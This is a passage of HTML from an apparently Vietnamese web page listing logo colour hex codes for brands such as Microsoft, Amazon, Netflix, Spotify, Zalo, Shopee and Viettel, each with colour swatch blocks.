0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Microsoft</h2> <div style="background-color: #f35022; color: #fff; padding: 15px;">#F35022</div> <div style="background-color: #80bb03; color: #fff; padding: 15px;">#80BB03</div> <div style="background-color: #03a5f0; color: #fff; padding: 15px;">#03A5F0</div> <div style="background-color: #ffb903; color: #fff; padding: 15px;">#FFB903</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-amazon" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-amazon" aria-label="mã màu logo amazon permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Amazon</h2> <div style="background-color: #ff9900; color: #fff; padding: 15px;">#FF9900</div> <div style="background-color: #146eb4; color: #fff; padding: 15px;">#146EB4</div> <div style="background-color: #000000; color: #fff; padding: 15px;">#000000</div> <div style="background-color: #232f3e; color: #fff; padding: 15px;">#232F3E</div> <div style="background-color: #f2f2f2; color: #222; padding: 15px;">#F2F2F2</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-netflix" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-netflix" aria-label="mã màu logo netflix permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Netflix</h2> <div style="background-color: #221f1f; color: #fff; padding: 15px;">#221F1F</div> <div style="background-color: #e50914; color: #fff; padding: 15px;">#E50914</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-linkedin" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-linkedin" aria-label="mã màu logo linkedin permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Linkedin</h2> <div style="background-color: #0077b5; color: #fff; padding: 15px;">#0077B5</div> <div style="background-color: #000000; color: #fff; padding: 15px;">#000000</div> <div style="background-color: #ffffff; color: #222; padding: 15px;">#FFFFFF</div> <div style="background-color: #00a0dc; color: #fff; padding: 15px;">#00A0DC</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-snapchat" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-snapchat" aria-label="mã màu logo snapchat permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Snapchat</h2> <div style="background-color: #fffc00; color: #222; padding: 15px;">#FFFC00</div> <div style="background-color: #ffffff; color: #222; padding: 15px;">#FFFFFF</div> <div style="background-color: #000000; color: #fff; padding: 15px;">#000000</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-whatsapp" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-whatsapp" aria-label="mã màu logo whatsapp permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo WhatsApp</h2> <div style="background-color: #25d366; color: #222; padding: 15px;">#25D366</div> <div style="background-color: #075e54; color: #fff; padding: 15px;">#075E54</div> <div style="background-color: #128c7e; color: #fff; padding: 15px;">#128C7E</div> <div style="background-color: #dcf8c6; color: #222; padding: 15px;">#DCF8C6</div> <div style="background-color: #34b7f1; color: #fff; padding: 15px;">#34B7F1</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-spotify" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-spotify" aria-label="mã màu logo spotify permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Spotify</h2> <div style="background-color: #1ed760; color: #222; padding: 15px;">#1ED760</div> <div style="background-color: #1db954; color: #fff; padding: 15px;">#1DB954</div> <div style="background-color: #ffffff; color: #222; padding: 15px;">#FFFFFF</div> <div style="background-color: #191414; color: #fff; padding: 15px;">#191414</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-apple" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-apple" aria-label="mã màu logo apple permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Apple</h2> <div style="background-color: #a6b1b7; color: #222; padding: 15px;">#A6B1B7</div> <div style="background-color: #000000; color: #fff; padding: 15px;">#000000</div> <div style="background-color: #333333; color: #fff; padding: 15px;">#333333</div> <div style="background-color: #bbbbbb; color: #222; padding: 15px;">#BBBBBB</div> <div style="background-color: #ffffff; color: #222; padding: 15px;">#FFFFFF</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-medium" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-medium" aria-label="mã màu logo medium permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Medium</h2> <div style="background-color: #02b875; color: #222; padding: 15px;">#02B875</div> <div style="background-color: #12100e; color: #fff; padding: 15px;">#12100E</div> <div style="background-color: #ffffff; color: #222; padding: 15px;">#FFFFFF</div> <div style="background-color: #e8f3ec; color: #222; padding: 15px;">#E8F3EC</div> <div style="background-color: #00ab6b; color: #222; padding: 15px;">#00AB6B</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-vimeo" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-vimeo" aria-label="mã màu logo vimeo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Vimeo</h2> <div style="background-color: #1ab7ea; color: #222; padding: 15px;">#1AB7EA</div> <div style="background-color: #162221; color: #fff; padding: 15px;">#162221</div> <div style="background-color: #ffffff; color: #222; padding: 15px;">#FFFFFF</div> <div style="background-color: #000000; color: #fff; padding: 15px;">#000000</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-skype" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-skype" aria-label="mã màu logo skype permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Skype</h2> <div style="background-color: #00aff0; color: #fff; padding: 15px;">#00AFF0</div> <div style="background-color: #0078d7; color: #fff; padding: 15px;">#0078D7</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-android" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-android" aria-label="mã màu logo android permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Android</h2> <div style="background-color: #a4c639; color: #fff; padding: 15px;">#A4C639</div> <div style="background-color: #90be4e; color: #fff; padding: 15px;">#90BE4E</div> <div style="background-color: #a4ca39; color: #fff; padding: 15px;">#A4CA39</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-quora" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-quora" aria-label="mã màu logo quora permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Quora</h2> <div style="background-color: #aa2200; color: #222; padding: 15px;">#AA2200</div> <div style="background-color: #ffffff; color: #222; padding: 15px;">#FFFFFF</div> <div style="background-color: #2b6dad; color: #fff; padding: 15px;">#2B6DAD</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-dribbble" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-dribbble" aria-label="mã màu logo dribbble permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Dribbble</h2> <div style="background-color: #ea4c89; color: #222; padding: 15px;">#EA4C89</div> <div style="background-color: #c32361; color: #222; padding: 15px;">#C32361</div> <div style="background-color: #444444; color: #fff; padding: 15px;">#444444</div> <div style="background-color: #9ba5a8; color: #fff; padding: 15px;">#9BA5A8</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-slack" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-slack" aria-label="mã màu logo slack permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Slack</h2> <div style="background-color: #4d394b; color: #fff; padding: 15px;">#4D394B</div> <div style="background-color: #3b434b; color: #fff; padding: 15px;">#3B434B</div> <div style="background-color: #70cadb; color: #fff; padding: 15px;">#70CADB</div> <div style="background-color: #3eb890; color: #fff; padding: 15px;">#3EB890</div> <div style="background-color: #e01765; color: #222; padding: 15px;">#E01765</div> <div style="background-color: #e8a723; color: #222; padding: 15px;">#E8A723</div> <div style="background-color: #1a937d; color: #fff; padding: 15px;">#1A937D</div> <div style="background-color: #472a49; color: #fff; padding: 15px;">#472A49</div> <div style="background-color: #65863a; color: #222; padding: 15px;">#65863A</div> <div style="background-color: #cc2027; color: #fff; padding: 15px;">#CC2027</div> <div style="background-color: #56b68b; color: #fff; padding: 15px;">#56B68B</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-stumbleupon" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-stumbleupon" aria-label="mã màu logo stumbleupon permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo StumbleUpon</h2> <div style="background-color: #e94826; color: #222; padding: 15px;">#E94826</div> <div style="background-color: #e4e5e7; color: #222; padding: 15px;">#E4E5E7</div> <div style="background-color: #eb4924; color: #222; padding: 15px;">#EB4924</div> <div style="background-color: #000000; color: #fff; padding: 15px;">#000000</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-flickr" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-flickr" aria-label="mã màu logo flickr permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Flickr</h2> <div style="background-color: #f40083; color: #fff; padding: 15px;">#F40083</div> <div style="background-color: #006add; color: #fff; padding: 15px;">#006ADD</div> <div style="background-color: #ff1981; color: #fff; padding: 15px;">#FF1981</div> <div style="background-color: #177fff; color: #fff; padding: 15px;">#177FFF</div> <div style="background-color: #ff0084; color: #fff; padding: 15px;">#FF0084</div> <div style="background-color: #246dd6; color: #fff; padding: 15px;">#246DD6</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-tiktok" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-tiktok" aria-label="mã màu logo tiktok permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo TikTok</h2> <div style="background-color: #000000; color: #fff; padding: 15px;">#000000</div> <div style="background-color: #ffffff; color: #222; padding: 15px;">#FFFFFF</div> <div style="background-color: #ff00e7; color: #fff; padding: 15px;">#FF00E7</div> <div style="background-color: #0078ff; color: #fff; padding: 15px;">#0078FF</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-blackpink" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-blackpink" aria-label="mã màu logo blackpink permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo BLACKPINK</h2> <div style="background-color: #ffa6fc; color: #222; padding: 15px;">#FFA6FC</div> <div style="background-color: #ff94e0; color: #222; padding: 15px;">#FF94E0</div> <div style="background-color: #ff76d8; color: #222; padding: 15px;">#FF76D8</div> <div style="background-color: #ff59c7; color: #222; padding: 15px;">#FF59C7</div> <div style="background-color: #000000; color: #fff; padding: 15px;">#000000</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-zalo" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-zalo" aria-label="mã màu logo zalo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Zalo</h2> <div style="background-color: #feffff; color: #222; padding: 15px;">#FEFFFF</div> <div style="background-color: #0a68fe; color: #fff; padding: 15px;">#0A68FE</div> <div style="background-color: #015ce0; color: #fff; padding: 15px;">#015CE0</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-shopee" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-shopee" aria-label="mã màu logo shopee permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Shopee</h2> <div style="background-color: #fe5621; color: #fff; padding: 15px;">#FE5621</div> <div style="background-color: #fefdfd; color: #222; padding: 15px;">#FEFDFD</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-lazada" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-lazada" aria-label="mã màu logo lazada permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Lazada</h2> <div style="background-color: #14116d; color: #fff; padding: 15px;">#14116D</div> <div style="background-color: #f56606; color: #fff; padding: 15px;">#F56606</div> <div style="background-color: #f2264d; color: #fff; padding: 15px;">#F2264D</div> <div style="background-color: #f41672; color: #fff; padding: 15px;">#F41672</div> <div style="background-color: #f60f91; color: #fff; padding: 15px;">#F60F91</div> <div style="background-color: #fc1ac0; color: #fff; padding: 15px;">#FC1AC0</div> <div style="background-color: #f3492d; color: #fff; padding: 15px;">#F3492D</div> <div style="background-color: #454892; color: #fff; padding: 15px;">#454892</div> <div style="background-color: #6c73a5; color: #fff; padding: 15px;">#6C73A5</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-fpt" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-fpt" aria-label="mã màu logo fpt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo FPT</h2> <div style="background-color: #f37022; color: #222; padding: 15px;">#F37022</div> <div style="background-color: #4eb748; color: #fff; padding: 15px;">#4EB748</div> <div style="background-color: #124da3; color: #fff; padding: 15px;">#124DA3</div> <div style="background-color: #faf9f7; color: #222; padding: 15px;">#FAF9F7</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-viettel" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-viettel" aria-label="mã màu logo viettel permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Viettel</h2> <div style="background-color: #027c71; color: #fff; padding: 15px;">#027C71</div> <div style="background-color: #D97014; color: #fff; padding: 15px;">#D97014</div> <div class="margin-bottom"></div> <h2 id="mã-màu-logo-vietcombank" style="position:relative;"><a href="#m%C3%A3-m%C3%A0u-logo-vietcombank" aria-label="mã màu logo vietcombank permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 